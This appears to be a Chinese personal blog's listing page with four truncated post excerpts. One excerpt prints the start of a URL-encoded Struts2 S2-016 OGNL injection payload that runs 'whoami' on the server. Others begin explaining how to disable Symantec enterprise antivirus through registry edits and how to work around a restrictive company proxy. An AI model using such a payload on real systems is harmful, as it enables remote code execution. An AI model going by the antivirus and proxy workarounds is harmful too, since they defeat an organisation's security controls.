蜗居

先说一下Struts2 2013 S2-016的测试payload代码是如下的。 GET /xxxxxxx/rf/userAction!login.action?redirect:$%7B%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%27whoami%27%7D%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%...

唉，本来工作可以简单，但是就因为都不想干导致很多地方难做，没办法为了自己工作省事，把两步或者三步需要解决的东西合并为一步即可解决。通过如下脚本喽。效果如下图： 域名对应负责人查询系统 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58...

赛门铁克杀毒软件企业版 这里必须要啰嗦两句废话，因为我的博客有文章缩略提取，所以很多内容会被提取出来看到。 说说自己为什么会这么做吧，主要是本人的工作需要用到很多软件，而很多软件都是那种会被杀毒软件查杀的，但是公司还不给我们这个部门一些绿色通道。真的，服服的，没办法。。。唉。。 这个也是但是同事发现然后告诉我的。首先你需要有改动注册表的权限。 第一...

大致说一下现在的环境吧。某人单位网络有很大很大的限制，无法连接任何外部IP，上网只能通过代理服务器， 代理服务器IP：端口(8080)  的形式。而且很多网页都会被屏蔽。而且公司电脑限制颇多，所以很多东西比想的要复杂的很多很多。现在我用一个图片来简单说明一下我需要做的。 现实环境 + 理想环境 既然开始咱们就先实施吧。首先第一步，电脑端因为系统是win7 64位，所以需...